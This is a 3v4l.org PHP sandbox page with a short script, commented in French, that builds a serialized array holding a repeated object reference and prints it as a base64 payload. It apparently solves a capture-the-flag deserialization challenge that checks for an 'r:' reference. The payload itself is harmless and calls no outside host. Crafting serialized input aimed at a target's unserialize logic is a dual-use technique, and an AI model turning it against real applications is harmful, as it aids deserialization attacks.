3v4l.org

run code in 500+ PHP versions simultaneously
<?php class StrWrap { public string $s = ''; } // 1. On crée notre objet StrWrap principal ($a) $a = new StrWrap(); // 2. On construit le tableau piégé // On a besoin que $a !== $b, $b !== $c, et que prev($data) revienne sur $a // En insérant l'objet $a, puis une valeur $b, puis en reliant le pointeur via 'r:' $data = [ 0 => $a, 1 => "valeur_b", 2 => &$a // Utilisation de la référence pour forcer l'identité d'instance ]; // On sérialise le tableau $serialized = serialize($data); // Subtilité : Le challenge exige "str_contains($raw, 'r:')" (référence d'objet minuscule) // Si PHP génère un 'R:' (référence par pointeur), on s'assure de sa validité. // Pour forcer un 'r:', on duplique l'objet proprement en mémoire : $data_correct = array(); $data_correct[0] = $a; $data_correct[1] = "dummy_b"; $data_correct[2] = $a; // Ici PHP va générer un 'r:2' (référence à l'objet 0) $payload = base64_encode(serialize($data_correct)); echo $payload;
Output for git.master, git.master_jit
YTozOntpOjA7Tzo3OiJTdHJXcmFwIjoxOntzOjE6InMiO3M6MDoiIjt9aToxO3M6NzoiZHVtbXlfYiI7aToyO3I6Mjt9

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
39.12 ms | 737 KiB | 4 Q